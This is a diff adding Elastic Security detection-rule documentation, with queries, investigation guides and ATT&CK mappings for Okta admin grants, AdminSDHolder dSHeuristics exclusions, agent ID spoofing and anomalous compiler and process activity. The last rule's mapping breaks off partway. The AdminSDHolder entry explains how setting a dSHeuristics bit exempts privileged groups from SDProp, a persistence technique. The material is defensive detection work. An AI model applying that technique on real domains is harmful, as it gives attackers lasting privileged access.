+++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-administrator-privileges-assigned-to-an-okta-group.asciidoc @@ -0,0 +1,131 @@ +[[prebuilt-rule-8-19-20-administrator-privileges-assigned-to-an-okta-group]] +=== Administrator Privileges Assigned to an Okta Group + +Detects when an administrator role is assigned to an Okta group. An adversary may attempt to assign administrator privileges to an Okta group in order to assign additional permissions to compromised user accounts and maintain access to their target organization. + +*Rule type*: query + +*Rule indices*: + +* filebeat-* +* logs-okta* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: None ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://help.okta.com/en/prod/Content/Topics/Security/administrators-admin-comparison.htm +* https://developer.okta.com/docs/reference/api/system-log/ +* https://developer.okta.com/docs/reference/api/event-types/ +* https://www.elastic.co/security-labs/testing-okta-visibility-and-detection-dorothy +* https://www.elastic.co/security-labs/monitoring-okta-threats-with-elastic-security +* https://www.elastic.co/security-labs/starter-guide-to-understanding-okta + +*Tags*: + +* Use Case: Identity and Access Audit +* Data Source: Okta +* Tactic: Persistence +* Resources: Investigation Guide + +*Version*: 413 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Administrator Privileges Assigned to an Okta Group* + + +Okta is a widely used identity management service that facilitates secure user authentication and access control. Administrator privileges in Okta allow users to manage settings and permissions, making them a target for adversaries seeking persistent access. Malicious actors may exploit these privileges by assigning them to groups, thereby extending elevated access to compromised accounts. The detection rule monitors system events for privilege grants to groups, flagging potential unauthorized privilege escalations. + + +*Possible investigation steps* + + +- Review the event logs for entries with event.dataset:okta.system and event.action:group.privilege.grant to identify the specific group and administrator role assigned. +- Identify the user account that initiated the privilege grant action and verify if the account has a history of suspicious activity or if it has been compromised. +- Check the membership of the affected Okta group to determine which user accounts have gained elevated privileges and assess if any of these accounts are unauthorized or compromised. +- Investigate recent activities of the affected group members to identify any unusual or unauthorized actions that may indicate malicious intent. +- Review the organization's change management records to confirm if the privilege assignment was part of an approved change request or if it was unauthorized. +- If unauthorized activity is confirmed, initiate incident response procedures to revoke the unauthorized privileges and secure the affected accounts. + + +*False positive analysis* + + +- Routine administrative tasks may trigger alerts when legitimate IT staff assign administrator roles to groups for maintenance or updates. To manage this, create exceptions for known IT personnel or scheduled maintenance windows. +- Organizational changes such as mergers or department restructuring might require temporary privilege escalations. Document these changes and adjust the detection rule to exclude these specific events during the transition period. +- Automated scripts or third-party integrations that manage group permissions could inadvertently trigger false positives. Identify these scripts and whitelist their actions within the monitoring system to prevent unnecessary alerts. +- Training or onboarding sessions where temporary admin access is granted to groups for demonstration purposes can cause alerts. Ensure these sessions are logged and recognized as non-threatening to avoid false positives. + + +*Response and remediation* + + +- Immediately revoke the administrator privileges assigned to the Okta group to prevent further unauthorized access or privilege escalation. +- Conduct a thorough review of recent group membership changes and privilege assignments in Okta to identify any other unauthorized modifications. +- Isolate and investigate any user accounts that were part of the affected group to determine if they have been compromised. +- Reset passwords and enforce multi-factor authentication (MFA) for all accounts that were part of the affected group to secure them against further unauthorized access. +- Notify the security team and relevant stakeholders about the incident to ensure awareness and coordinated response efforts. +- Implement additional monitoring on the affected group and related user accounts to detect any further suspicious activities. +- Review and update access control policies to ensure that only necessary groups and users have administrative privileges, reducing the risk of similar incidents in the future. + +==== Setup + + +The Okta Fleet integration, Filebeat module, or similarly structured data is required to be compatible with this rule. + +==== Rule query + + +[source, js] +---------------------------------- +event.dataset:okta.system and event.action:group.privilege.grant + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Persistence +** ID: TA0003 +** Reference URL: https://attack.mitre.org/tactics/TA0003/ +* Technique: +** Name: Account Manipulation +** ID: T1098 +** Reference URL: https://attack.mitre.org/techniques/T1098/ +* Tactic: +** Name: Privilege Escalation +** ID: TA0004 +** Reference URL: https://attack.mitre.org/tactics/TA0004/ +* Technique: +** Name: Account Manipulation +** ID: T1098 +** Reference URL: https://attack.mitre.org/techniques/T1098/ +* Sub-technique: +** Name: Additional Cloud Roles +** ID: T1098.003 +** Reference URL: https://attack.mitre.org/techniques/T1098/003/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-adminsdholder-sdprop-exclusion-added.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-adminsdholder-sdprop-exclusion-added.asciidoc new file mode 100644 index 0000000000..91b76c6d07 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-adminsdholder-sdprop-exclusion-added.asciidoc @@ -0,0 +1,159 @@ +[[prebuilt-rule-8-19-20-adminsdholder-sdprop-exclusion-added]] +=== AdminSDHolder SDProp Exclusion Added + +Identifies a modification on the dsHeuristics attribute on the bit that holds the configuration of groups excluded from the SDProp process. The SDProp compares the permissions on protected objects with those defined on the AdminSDHolder object. If the permissions on any of the protected accounts and groups do not match, the permissions on the protected accounts and groups are reset to match those of the domain's AdminSDHolder object, meaning that groups excluded will remain unchanged. Attackers can abuse this misconfiguration to maintain long-term access to privileged accounts in these groups. + +*Rule type*: eql + +*Rule indices*: + +* logs-system.security* +* logs-windows.forwarded* +* winlogbeat-* + +*Severity*: high + +*Risk score*: 73 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://www.cert.ssi.gouv.fr/uploads/guide-ad.html#dsheuristics_bad +* https://petri.com/active-directory-security-understanding-adminsdholder-object + +*Tags*: + +* Domain: Endpoint +* OS: Windows +* Use Case: Threat Detection +* Tactic: Persistence +* Data Source: Active Directory +* Resources: Investigation Guide +* Use Case: Active Directory Monitoring +* Data Source: Windows Security Event Logs + +*Version*: 218 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating AdminSDHolder SDProp Exclusion Added* + + +The SDProp process compares the permissions on protected objects with those defined on the AdminSDHolder object. If the permissions on any of the protected accounts and groups do not match, it resets the permissions on the protected accounts and groups to match those defined in the domain AdminSDHolder object. + +The dSHeuristics is a Unicode string attribute, in which each character in the string represents a heuristic that is used to determine the behavior of Active Directory. + +Administrators can use the dSHeuristics attribute to exclude privilege groups from the SDProp process by setting the 16th bit (dwAdminSDExMask) of the string to a certain value, which represents the group(s): + +- For example, to exclude the Account Operators group, an administrator would modify the string, so the 16th character is set to 1 (i.e., 0000000001000001). + +The usage of this exclusion can leave the accounts unprotected and facilitate the misconfiguration of privileges for the excluded groups, enabling attackers to add accounts to these groups to maintain long-term persistence with high privileges. + +This rule matches changes of the dsHeuristics object where the 16th bit is set to a value other than zero. + + +*Possible investigation steps* + + +- Identify the user account that performed the action and whether it should perform this kind of action. +- Contact the account and system owners and confirm whether they are aware of this activity. +- Investigate other alerts associated with the user/host during the past 48 hours. +- Check the value assigned to the 16th bit of the string on the `winlog.event_data.AttributeValue` field: + - Account Operators eq 1 + - Server Operators eq 2 + - Print Operators eq 4 + - Backup Operators eq 8 + The field value can range from 0 to f (15). If more than one group is specified, the values will be summed together; for example, Backup Operators and Print Operators will set the `c` value on the bit. + + +*False positive analysis* + + +- While this modification can be done legitimately, it is not a best practice. Any potential benign true positive (B-TP) should be mapped and reviewed by the security team for alternatives as this weakens the security of the privileged group. + + +*Response and remediation* + + +- The change can be reverted by setting the dwAdminSDExMask (16th bit) to 0 in dSHeuristics. +- Using the incident response data, update logging and audit policies to improve the mean time to detect (MTTD) and the mean time to respond (MTTR). + + +==== Setup + + + +*Setup* + + +The 'Audit Directory Service Changes' logging policy must be configured for (Success). +Steps to implement the logging policy with Advanced Audit Configuration: + +``` +Computer Configuration > +Policies > +Windows Settings > +Security Settings > +Advanced Audit Policies Configuration > +Audit Policies > +DS Access > +Audit Directory Service Changes (Success) +``` + + +==== Rule query + + +[source, js] +---------------------------------- +any where host.os.type == "windows" and event.code == "5136" and + winlog.event_data.AttributeLDAPDisplayName : "dSHeuristics" and + length(winlog.event_data.AttributeValue) > 15 and + winlog.event_data.AttributeValue regex~ "[0-9]{15}([1-9a-f]).*" + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Persistence +** ID: TA0003 +** Reference URL: https://attack.mitre.org/tactics/TA0003/ +* Technique: +** Name: Valid Accounts +** ID: T1078 +** Reference URL: https://attack.mitre.org/techniques/T1078/ +* Sub-technique: +** Name: Domain Accounts +** ID: T1078.002 +** Reference URL: https://attack.mitre.org/techniques/T1078/002/ +* Technique: +** Name: Account Manipulation +** ID: T1098 +** Reference URL: https://attack.mitre.org/techniques/T1098/ +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: Domain or Tenant Policy Modification +** ID: T1484 +** Reference URL: https://attack.mitre.org/techniques/T1484/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-agent-spoofing-multiple-hosts-using-same-agent.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-agent-spoofing-multiple-hosts-using-same-agent.asciidoc new file mode 100644 index 0000000000..177aef4e7f --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-agent-spoofing-multiple-hosts-using-same-agent.asciidoc @@ -0,0 +1,119 @@ +[[prebuilt-rule-8-19-20-agent-spoofing-multiple-hosts-using-same-agent]] +=== Agent Spoofing - Multiple Hosts Using Same Agent + +Detects when multiple hosts are using the same agent ID. This could occur in the event of an agent being taken over and used to inject illegitimate documents into an instance as an attempt to spoof events in order to masquerade actual activity to evade detection. + +*Rule type*: esql + +*Rule indices*: None + +*Severity*: high + +*Risk score*: 73 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: None + +*Tags*: + +* Use Case: Threat Detection +* Tactic: Defense Evasion +* Resources: Investigation Guide + +*Version*: 107 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Agent Spoofing - Multiple Hosts Using Same Agent* + + +In network environments, agents are deployed on hosts to monitor and report activities. Adversaries may exploit these agents by hijacking their IDs to inject false data, masking malicious actions. The detection rule identifies anomalies where multiple hosts report using the same agent ID, signaling potential spoofing attempts. By focusing on unique agent ID usage, it helps uncover evasion tactics aimed at concealing unauthorized activities. + + +*Possible investigation steps* + + +- Review the alert details to identify the specific agent ID that is being reported by multiple hosts. +- Cross-reference the agent ID with the list of known and authorized agents to determine if it has been compromised or misconfigured. +- Examine the network logs and host activity for each host reporting the same agent ID to identify any unusual or unauthorized activities. +- Check for any recent changes or updates to the agent software on the affected hosts that could explain the anomaly. +- Investigate the timeline of events to determine when the agent ID started being used by multiple hosts and correlate this with any known incidents or changes in the network environment. +- Assess the potential impact of the spoofing attempt on the network's security posture and consider isolating affected hosts if necessary to prevent further malicious activity. + + +*False positive analysis* + + +- Legitimate load balancing or failover scenarios where multiple hosts are configured to use the same agent ID for redundancy can trigger false positives. Users should identify and document these configurations, then create exceptions in the detection rule to exclude these known non-threatening behaviors. +- Virtualized environments where snapshots or clones of a host are created might result in multiple instances reporting the same agent ID. Users should ensure that each virtual instance is assigned a unique agent ID or adjust the rule to account for these scenarios. +- Testing or development environments where agents are intentionally duplicated for testing purposes can also lead to false positives. Users should tag these environments appropriately and modify the rule to exclude events from these tags. +- In cases where agents are temporarily reassigned to different hosts for maintenance or troubleshooting, users should maintain a log of these activities and adjust the detection rule to ignore these temporary changes. + + +*Response and remediation* + + +- Isolate affected hosts immediately to prevent further spread of potentially malicious activities across the network. +- Revoke and reissue new agent IDs for the affected hosts to ensure that compromised IDs are no longer in use. +- Conduct a thorough forensic analysis on the isolated hosts to identify any unauthorized changes or malicious software that may have been introduced. +- Review and update access controls and authentication mechanisms for agent deployment to prevent unauthorized access and hijacking of agent IDs. +- Monitor network traffic and logs closely for any signs of continued spoofing attempts or related suspicious activities. +- Escalate the incident to the security operations center (SOC) and relevant stakeholders to ensure awareness and coordinated response efforts. +- Implement enhanced logging and alerting for agent ID anomalies to improve detection of similar threats in the future. + +==== Rule query + + +[source, js] +---------------------------------- +from logs-endpoint.* metadata _id +| where event.agent_id_status is not null and agent.id is not null +| stats Esql.count_distinct_host_ids = count_distinct(host.id), Esql.host_id_values = values(host.id), Esql.user_id_values_user_id = values(user.id) by agent.id +| where Esql.count_distinct_host_ids >= 2 +| keep Esql.count_distinct_host_ids, Esql.host_id_values, Esql.user_id_values_user_id, agent.id + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: Masquerading +** ID: T1036 +** Reference URL: https://attack.mitre.org/techniques/T1036/ +* Tactic: +** Name: Impact +** ID: TA0040 +** Reference URL: https://attack.mitre.org/tactics/TA0040/ +* Technique: +** Name: Data Manipulation +** ID: T1565 +** Reference URL: https://attack.mitre.org/techniques/T1565/ +* Sub-technique: +** Name: Transmitted Data Manipulation +** ID: T1565.002 +** Reference URL: https://attack.mitre.org/techniques/T1565/002/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-anomalous-linux-compiler-activity.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-anomalous-linux-compiler-activity.asciidoc new file mode 100644 index 0000000000..4d997118d0 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-anomalous-linux-compiler-activity.asciidoc @@ -0,0 +1,189 @@ +[[prebuilt-rule-8-19-20-anomalous-linux-compiler-activity]] +=== Anomalous Linux Compiler Activity + +Looks for compiler activity by a user context which does not normally run compilers. This can be the result of ad-hoc software changes or unauthorized software deployment. This can also be due to local privilege elevation via locally run exploits or malware activity. + +*Rule type*: machine_learning + +*Rule indices*: None + +*Severity*: low + +*Risk score*: 21 + +*Runs every*: 15m + +*Searches indices from*: now-45m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: None + +*Tags*: + +* Domain: Endpoint +* OS: Linux +* Use Case: Threat Detection +* Rule Type: ML +* Rule Type: Machine Learning +* Tactic: Resource Development +* Resources: Investigation Guide + +*Version*: 108 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Anomalous Linux Compiler Activity* + + +Compilers transform source code into executable programs, a crucial step in software development. In Linux environments, unexpected compiler use by atypical users may signal unauthorized software changes or privilege escalation attempts. Adversaries exploit this by deploying malicious code or exploits. The detection rule leverages machine learning to identify unusual compiler activity, flagging potential threats by analyzing user behavior patterns and deviations from normal operations. + + +*Possible investigation steps* + + +- Review the user account associated with the anomalous compiler activity to determine if the user typically engages in software development or has a history of using compilers. +- Check the specific compiler and version used in the activity to identify if it is a known or legitimate tool within the organization. +- Analyze the source and destination of the compiler activity, including the IP addresses and hostnames, to identify any unusual or unauthorized access patterns. +- Investigate recent changes or deployments on the system where the compiler activity was detected to identify any unauthorized software installations or modifications. +- Examine system logs and audit trails for any signs of privilege escalation attempts or other suspicious activities around the time of the compiler usage. +- Cross-reference the detected activity with known threat intelligence sources to determine if the behavior matches any known attack patterns or indicators of compromise. + + +*False positive analysis* + + +- Development environments where multiple users compile code can trigger false positives. Regularly update the list of authorized users who are expected to use compilers to prevent unnecessary alerts. +- Automated build systems or continuous integration pipelines may be flagged. Exclude these systems from monitoring or adjust the rule to recognize their activity as normal. +- Educational or training sessions involving compilers might cause alerts. Temporarily adjust the rule settings or add exceptions for the duration of the training. +- Users compiling open-source software for personal use can be mistaken for threats. Implement a process for users to notify the security team of legitimate compiler use to preemptively adjust monitoring rules. +- System administrators performing maintenance or updates that involve compiling software may trigger alerts. Maintain a log of scheduled maintenance activities and adjust the rule to account for these periods. + + +*Response and remediation* + + +- Isolate the affected system from the network to prevent potential lateral movement or further exploitation. +- Terminate any suspicious processes associated with the anomalous compiler activity to halt any ongoing malicious operations. +- Conduct a thorough review of recent user activity and permissions to identify unauthorized access or privilege escalation attempts. +- Remove any unauthorized or malicious software identified during the investigation to prevent further compromise. +- Restore the system from a known good backup if malicious code execution is confirmed, ensuring that the backup is free from compromise. +- Implement stricter access controls and monitoring for compiler usage, ensuring only authorized users can execute compilers. +- Escalate the incident to the security operations center (SOC) or incident response team for further analysis and to determine if additional systems are affected. + +==== Setup + + + +*Setup* + + +This rule requires the installation of associated Machine Learning jobs, as well as data coming in from one of the following integrations: +- Elastic Defend +- Auditd Manager + + +*Anomaly Detection Setup* + + +Once the rule is enabled, the associated Machine Learning job will start automatically. You can view the Machine Learning job linked under the "Definition" panel of the detection rule. If the job does not start due to an error, the issue must be resolved for the job to commence successfully. For more details on setting up anomaly detection jobs, refer to the https://www.elastic.co/guide/en/kibana/current/xpack-ml-anomalies.html[helper guide]. + + +*Elastic Defend Integration Setup* + +Elastic Defend is integrated into the Elastic Agent using Fleet. Upon configuration, the integration allows the Elastic Agent to monitor events on your host and send data to the Elastic Security app. + + +*Prerequisite Requirements:* + +- Fleet is required for Elastic Defend. +- To configure Fleet Server refer to the https://www.elastic.co/guide/en/fleet/current/fleet-server.html[documentation]. + + +*The following steps should be executed in order to add the Elastic Defend integration to your system:* + +- Go to the Kibana home page and click "Add integrations". +- In the query bar, search for "Elastic Defend" and select the integration to see more details about it. +- Click "Add Elastic Defend". +- Configure the integration name and optionally add a description. +- Select the type of environment you want to protect, either "Traditional Endpoints" or "Cloud Workloads". +- Select a configuration preset. Each preset comes with different default settings for Elastic Agent, you can further customize these later by configuring the Elastic Defend integration policy. https://www.elastic.co/guide/en/security/current/configure-endpoint-integration-policy.html[Helper guide]. +- We suggest selecting "Complete EDR (Endpoint Detection and Response)" as a configuration setting, that provides "All events; all preventions" +- Enter a name for the agent policy in "New agent policy name". If other agent policies already exist, you can click the "Existing hosts" tab and select an existing policy instead. +For more details on Elastic Agent configuration settings, refer to the https://www.elastic.co/guide/en/fleet/current/agent-policy.html[helper guide]. +- Click "Save and Continue". +- To complete the integration, select "Add Elastic Agent to your hosts" and continue to the next section to install the Elastic Agent on your hosts. +For more details on Elastic Defend refer to the https://www.elastic.co/guide/en/security/current/install-endpoint.html[helper guide]. + + +*Auditd Manager Integration Setup* + +The Auditd Manager Integration receives audit events from the Linux Audit Framework which is a part of the Linux kernel. +Auditd Manager provides a user-friendly interface and automation capabilities for configuring and monitoring system auditing through the auditd daemon. With `auditd_manager`, administrators can easily define audit rules, track system events, and generate comprehensive audit reports, improving overall security and compliance in the system. + + +*The following steps should be executed in order to add the Elastic Agent System integration "auditd_manager" to your system:* + +- Go to the Kibana home page and click “Add integrations”. +- In the query bar, search for “Auditd Manager” and select the integration to see more details about it. +- Click “Add Auditd Manager”. +- Configure the integration name and optionally add a description. +- Review optional and advanced settings accordingly. +- Add the newly installed “auditd manager” to an existing or a new agent policy, and deploy the agent on a Linux system from which auditd log files are desirable. +- Click “Save and Continue”. +- For more details on the integration refer to the https://docs.elastic.co/integrations/auditd_manager[helper guide]. + + +*Rule Specific Setup Note* + +Auditd Manager subscribes to the kernel and receives events as they occur without any additional configuration. +However, if more advanced configuration is required to detect specific behavior, audit rules can be added to the integration in either the "audit rules" configuration box or the "auditd rule files" box by specifying a file to read the audit rules from. +- For this detection rule no additional audit rules are required. + + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Resource Development +** ID: TA0042 +** Reference URL: https://attack.mitre.org/tactics/TA0042/ +* Technique: +** Name: Obtain Capabilities +** ID: T1588 +** Reference URL: https://attack.mitre.org/techniques/T1588/ +* Sub-technique: +** Name: Malware +** ID: T1588.001 +** Reference URL: https://attack.mitre.org/techniques/T1588/001/ +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: Trusted Developer Utilities Proxy Execution +** ID: T1127 +** Reference URL: https://attack.mitre.org/techniques/T1127/ +* Tactic: +** Name: Privilege Escalation +** ID: TA0004 +** Reference URL: https://attack.mitre.org/tactics/TA0004/ +* Technique: +** Name: Exploitation for Privilege Escalation +** ID: T1068 +** Reference URL: https://attack.mitre.org/techniques/T1068/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-anomalous-windows-process-creation.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-anomalous-windows-process-creation.asciidoc new file mode 100644 index 0000000000..dcdc373ae4 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-anomalous-windows-process-creation.asciidoc @@ -0,0 +1,211 @@ +[[prebuilt-rule-8-19-20-anomalous-windows-process-creation]] +=== Anomalous Windows Process Creation + +Identifies unusual parent-child process relationships that can indicate malware execution or persistence mechanisms. Malicious scripts often call on other applications and processes as part of their exploit payload. For example, when a malicious Office document runs scripts as part of an exploit payload, Excel or Word may start a script interpreter process, which, in turn, runs a script that downloads and executes malware. Another common scenario is Outlook running an unusual process when malware is downloaded in an email. Monitoring and identifying anomalous process relationships is a method of detecting new and emerging malware that is not yet recognized by anti-virus scanners. + +*Rule type*: machine_learning + +*Rule indices*: None + +*Severity*: low + +*Risk score*: 21 + +*Runs every*: 15m + +*Searches indices from*: now-45m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://www.elastic.co/guide/en/security/current/prebuilt-ml-jobs.html + +*Tags*: + +* Domain: Endpoint +* OS: Windows +* Use Case: Threat Detection +* Rule Type: ML +* Rule Type: Machine Learning +* Tactic: Persistence +* Resources: Investigation Guide + +*Version*: 212 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating Anomalous Windows Process Creation* + + +Searching for abnormal Windows processes is a good methodology to find potentially malicious activity within a network. Understanding what is commonly run within an environment and developing baselines for legitimate activity can help uncover potential malware and suspicious behaviors. + +This rule uses a machine learning job to detect an anomalous Windows process with an unusual parent-child relationship, which could indicate malware execution or persistence activities on the host machine. + +> **Note**: +> This investigation guide uses the https://www.elastic.co/guide/en/security/current/invest-guide-run-osquery.html[Osquery Markdown Plugin] introduced in Elastic Stack version 8.5.0. Older Elastic Stack versions will display unrendered Markdown in this guide. + + +*Possible investigation steps* + + +- Investigate the process execution chain (parent process tree) for unknown processes. Examine their executable files for prevalence, whether they are located in expected locations, and if they are signed with valid digital signatures. + - If the parent process is a legitimate system utility or service, this could be related to software updates or system management. If the parent process is something user-facing like an Office application, this process could be more suspicious. + - Investigate the process metadata — such as the digital signature, directory, etc. — to obtain more context that can indicate whether the executable is associated with an expected software vendor or package. +- Investigate other alerts associated with the user/host during the past 48 hours. +- Consider the user as identified by the `user.name` field. Is this program part of an expected workflow for the user who ran this program on this host? +- Validate the activity is not related to planned patches, updates, network administrator activity, or legitimate software installations. +- Validate if the activity has a consistent cadence (for example, if it runs monthly or quarterly), as it could be part of a monthly or quarterly business process. +- Examine the arguments and working directory of the process. These may provide indications as to the source of the program or the nature of the tasks it is performing. +- Examine the host for derived artifacts that indicate suspicious activities: + - Analyze the process executable using a private sandboxed analysis system. + - Observe and collect information about the following activities in both the sandbox and the alert subject host: + - Attempts to contact external domains and addresses. + - Use the Elastic Defend network events to determine domains and addresses contacted by the subject process by filtering by the process' `process.entity_id`. + - Examine the DNS cache for suspicious or anomalous entries. + - !{osquery{"label":"Osquery - Retrieve DNS Cache","query":"SELECT * FROM dns_cache"}} + - Use the Elastic Defend registry events to examine registry keys accessed, modified, or created by the related processes in the process tree. + - Examine the host services for suspicious or anomalous entries. + - !{osquery{"label":"Osquery - Retrieve All Services","query":"SELECT description, display_name, name, path, pid, service_type, start_type, status, user_account FROM services"}} + - !{osquery{"label":"Osquery - Retrieve Services Running on User Accounts","query":"SELECT description, display_name, name, path, pid, service_type, start_type, status, user_account FROM services WHERE\nNOT (user_account LIKE '%LocalSystem' OR user_account LIKE '%LocalService' OR user_account LIKE '%NetworkService' OR\nuser_account == null)\n"}} + - !{osquery{"label":"Retrieve Service Unisgned Executables with Virustotal Link","query":"SELECT concat('https://www.virustotal.com/gui/file/', sha1) AS VtLink, name, description, start_type, status, pid,\nservices.path FROM services JOIN authenticode ON services.path = authenticode.path OR services.module_path =\nauthenticode.path JOIN hash ON services.path = hash.path WHERE authenticode.result != 'trusted'\n"}} + - Retrieve the files' SHA-256 hash values using the PowerShell `Get-FileHash` cmdlet and search for the existence and reputation of the hashes in resources like VirusTotal, Hybrid-Analysis, CISCO Talos, Any.run, etc. + + +*False Positive Analysis* + + +- If this activity is related to new benign software installation activity, consider adding exceptions — preferably with a combination of user and command line conditions. +- Try to understand the context of the execution by thinking about the user, machine, or business purpose. A small number of endpoints, such as servers with unique software, might appear unusual but satisfy a specific business need. + + +*Related Rules* + + +- Unusual Process For a Windows Host - 6d448b96-c922-4adb-b51c-b767f1ea5b76 +- Unusual Windows Path Activity - 445a342e-03fb-42d0-8656-0367eb2dead5 +- Unusual Windows Process Calling the Metadata Service - abae61a8-c560-4dbd-acca-1e1438bff36b + + +*Response and Remediation* + + +- Initiate the incident response process based on the outcome of the triage. +- Isolate the involved hosts to prevent further post-compromise behavior. +- If the triage identified malware, search the environment for additional compromised hosts. + - Implement temporary network rules, procedures, and segmentation to contain the malware. + - Stop suspicious processes. + - Immediately block the identified indicators of compromise (IoCs). + - Inspect the affected systems for additional malware backdoors like reverse shells, reverse proxies, or droppers that attackers could use to reinfect the system. +- Remove and block malicious artifacts identified during triage. +- Investigate credential exposure on systems compromised or used by the attacker to ensure all compromised accounts are identified. Reset passwords for these accounts and other potentially compromised credentials, such as email, business systems, and web services. +- Run a full antimalware scan. This may reveal additional artifacts left in the system, persistence mechanisms, and malware components. +- Determine the initial vector abused by the attacker and take action to prevent reinfection through the same vector. +- Using the incident response data, update logging and audit policies to improve the mean time to detect (MTTD) and the mean time to respond (MTTR). + + +==== Setup + + + +*Setup* + + +This rule requires the installation of associated Machine Learning jobs, as well as data coming in from one of the following integrations: +- Elastic Defend +- Windows + + +*Anomaly Detection Setup* + + +Once the rule is enabled, the associated Machine Learning job will start automatically. You can view the Machine Learning job linked under the "Definition" panel of the detection rule. If the job does not start due to an error, the issue must be resolved for the job to commence successfully. For more details on setting up anomaly detection jobs, refer to the https://www.elastic.co/guide/en/kibana/current/xpack-ml-anomalies.html[helper guide]. + + +*Elastic Defend Integration Setup* + +Elastic Defend is integrated into the Elastic Agent using Fleet. Upon configuration, the integration allows the Elastic Agent to monitor events on your host and send data to the Elastic Security app. + + +*Prerequisite Requirements:* + +- Fleet is required for Elastic Defend. +- To configure Fleet Server refer to the https://www.elastic.co/guide/en/fleet/current/fleet-server.html[documentation]. + + +*The following steps should be executed in order to add the Elastic Defend integration to your system:* + +- Go to the Kibana home page and click "Add integrations". +- In the query bar, search for "Elastic Defend" and select the integration to see more details about it. +- Click "Add Elastic Defend". +- Configure the integration name and optionally add a description. +- Select the type of environment you want to protect, either "Traditional Endpoints" or "Cloud Workloads". +- Select a configuration preset. Each preset comes with different default settings for Elastic Agent, you can further customize these later by configuring the Elastic Defend integration policy. https://www.elastic.co/guide/en/security/current/configure-endpoint-integration-policy.html[Helper guide]. +- We suggest selecting "Complete EDR (Endpoint Detection and Response)" as a configuration setting, that provides "All events; all preventions" +- Enter a name for the agent policy in "New agent policy name". If other agent policies already exist, you can click the "Existing hosts" tab and select an existing policy instead. +For more details on Elastic Agent configuration settings, refer to the https://www.elastic.co/guide/en/fleet/current/agent-policy.html[helper guide]. +- Click "Save and Continue". +- To complete the integration, select "Add Elastic Agent to your hosts" and continue to the next section to install the Elastic Agent on your hosts. +For more details on Elastic Defend refer to the https://www.elastic.co/guide/en/security/current/install-endpoint.html[helper guide]. + + +*Windows Integration Setup* + +The Windows integration allows you to monitor the Windows OS, services, applications, and more. + + +*The following steps should be executed in order to add the Elastic Agent System integration "windows" to your system:* + +- Go to the Kibana home page and click “Add integrations”. +- In the query bar, search for “Windows” and select the integration to see more details about it. +- Click “Add Windows”. +- Configure the integration name and optionally add a description. +- Review optional and advanced settings accordingly. +- Add the newly installed “windows” to an existing or a new agent policy, and deploy the agent on your system from which windows log files are desirable. +- Click “Save and Continue”. +- For more details on the integration refer to the https://docs.elastic.co/integrations/windows[helper guide]. + + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Persistence +** ID: TA0003 +** Reference URL: https://attack.mitre.org/tactics/TA0003/ +* Technique: +** Name: Create or Modify System Process +** ID: T1543 +** Reference URL: https://attack.mitre.org/techniques/T1543/ +* Tactic: +** Name: Execution +** 